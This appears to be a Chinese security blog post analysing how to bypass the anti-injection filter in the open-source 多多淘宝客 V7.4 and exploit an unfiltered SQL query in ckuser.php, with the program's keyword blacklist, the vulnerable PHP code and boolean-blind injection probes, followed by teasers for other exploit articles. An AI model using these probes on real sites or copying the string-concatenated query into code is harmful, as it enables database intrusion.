多多淘宝客V7.4绕过防注入及一个注入漏洞的分析

所属分类: 网络安全 / 漏洞分析 阅读数: 114
收藏 0 赞 0 分享
由于程序是开源程序
并下载其程序看了一番。其实程序员还是有一点安全意识的:
防注入代码:

复制代码
代码如下:

//要过滤的非法字符
$ArrFiltrate = array (
"#union#i",
"#<script#i",
"#/script>#i",
"#select#i",
"#alert#i",
"#javascript#i",
"#<table#i",
"#<td#i",
"#\"#i",
"#\'#i",
"#delete#i",
"#vbscript#i",
"#applet#i",
"#frame#i",
"#<div#i",
"#update#i",
"#'#i",
"#union #i",
"#select #i",
"#delete #i",
"#update #i",
"#and #i",
"#;#i",
"#update#i"
);
$replacements='';
function FunStringExist(&$array,$ArrFiltrate,$replacements)
{
if (is_array($array))
{
foreach ($array as $key => $value)
{
if (is_array($value))
FunStringExist($array[$key],$ArrFiltrate,$replacements);
else
$array[$key] = preg_replace($ArrFiltrate, $replacements, $value);
}
}
}
FunStringExist($_GET,$ArrFiltrate,$replacements);
FunStringExist($_POST,$ArrFiltrate,$replacements);

这段代码多少还是有瑕疵的、只过滤www.jb51.net get post 我们只要找调用request的地方
别一个文件并没有调用防注入程序,导致字符注入、但受gpc影响

复制代码
代码如下:

header("Content-Type:text/html;charset=utf-8");
include "../comm/config.php";
$uname = trim($_GET["name"]);
if($uname==''){
echo "true";
}else{
$con = @mysql_connect("$dbserver","$dbuser","$dbpass" )or die(ERR_DB);
mysql_select_db("$dbname",$con)or die("can not choose the dbname!");
$query="select * from ".$BIAOTOU."user where ddusername='".$uname."'";
mysql_query("set names utf8");
$res=mysql_query($query);
if(mysql_num_rows($res)!=0)
{echo "true";}
else
{echo "false";}
}

首先注册一个用户.让程序能过判断
ckuser.php?name=maxadd' and 1=1 and ''='
返回true
ckuser.php?name=maxadd' and 1=2 and ''='
返回false
更多精彩内容其他人还在看

discuz!7.1、7.2 远程代码执行漏洞exp

使用exp的话仅限本机测试,其他用途后果自负!
收藏 0 赞 0 分享

科讯网站管理系统 Kesion v6.5 CMS Oday 利用工具

通过自己构造参数AutoReName=3,可以将上传的文件名保存原样,通过截断可以直接得到SHELL限制,后台禁止了注册,或者禁止了上传,或者把user目录删除了,优点是不用找后台,开放就死。
收藏 0 赞 0 分享

KesionCMS(科讯)上传漏洞与防范方法

有点鸡肋,配合前几天公布的iis6文件名解析漏洞达到获取webshell的目的。
收藏 0 赞 0 分享

Microsoft Windows hxvz.dll ActiveX控件堆溢出漏洞(MS08-023)

受影响系统: Microsoft Windows XP SP2 Microsoft Windows Vista SP1 Microsoft Windows Vista Microsoft Windows Server 2008 Microsoft Windo
收藏 0 赞 0 分享

Microsoft Internet Explorer FTP含命令注入漏洞

受影响系统: Microsoft Internet Explorer 6.0.2900.2180 Microsoft Internet Explorer 5.01 不受影响系统: Microsoft Internet Explorer 7.0
收藏 0 赞 0 分享

Microsoft Windows GDI文件名解析栈溢出漏洞(MS08-021)

受影响系统: Microsoft Windows XP SP2 Microsoft Windows Vista SP1 Microsoft Windows Vista Microsoft Windows Server 2008 Microsoft Windo
收藏 0 赞 0 分享

Microsoft Windows GDI CreateDIBPatternBrushPt函数堆溢出漏洞(MS08-021)

受影响系统: Microsoft Windows XP SP2 Microsoft Windows Vista SP1 Microsoft Windows Vista Microsoft Windows Server 2008 Microsoft Windo
收藏 0 赞 0 分享

解析PNG图象格式库存在远程拒绝服务漏洞

受影响系统: libpng libpng <= 1.2.20 不受影响系统: libpng libpng 1.2.21 描述: -------------------------------------------
收藏 0 赞 0 分享

Microsoft Windows DNS客户端可预测事件处理ID漏洞(MS08-020)

受影响系统: Microsoft Windows XP SP2 Microsoft Windows Vista Microsoft Windows Server 2003 SP2 Microsoft Windows Server 2003 SP1 Micro
收藏 0 赞 0 分享

URL解析漏洞在PDF文档中的利用

右键另存再打开测试文档,否则会调用IE的插件打开,测试会失败。如果你硬要通过点击打开的话,点击这里吧,嘿嘿,这本身也是IE的一个解析漏洞。 在http://seclists.org/fulldisclosure/2007/Oct/0068.html看到这个漏洞的时候,
收藏 0 赞 0 分享
查看更多